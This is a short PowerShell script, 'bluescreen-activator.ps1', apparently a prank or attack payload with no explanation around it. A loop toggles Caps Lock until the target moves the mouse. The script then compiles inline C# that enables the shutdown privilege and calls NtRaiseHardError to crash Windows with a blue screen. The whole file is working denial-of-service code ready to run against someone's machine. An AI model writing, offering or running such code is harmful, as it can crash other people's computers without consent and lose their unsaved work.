bluescreen-activator.ps1

function Invoke-BSOD {
$source = @"
using System;
using System.Runtime.InteropServices;

public static class CS{
	[DllImport("ntdll.dll")]
	public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);

	[DllImport("ntdll.dll")]
	public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);

	public static unsafe void Kill(){
		Boolean tmp1;
		uint tmp2;
		RtlAdjustPrivilege(19, true, false, out tmp1);
		NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out tmp2);
	}
}
"@
    $comparams = new-object -typename system.CodeDom.Compiler.CompilerParameters
    $comparams.CompilerOptions = '/unsafe'
    $a = Add-Type -TypeDefinition $source -Language CSharp -PassThru -CompilerParameters $comparams
    [CS]::Kill()
}

function Target-Comes {
	Add-Type -AssemblyName System.Windows.Forms
	$originalPOS = [System.Windows.Forms.Cursor]::Position.X
	$o=New-Object -ComObject WScript.Shell
	
		while (1) {
			$pauseTime = 1
			if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
				break
			}
			else {
				$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
			}
		}
	}

Target-Comes

Invoke-BSOD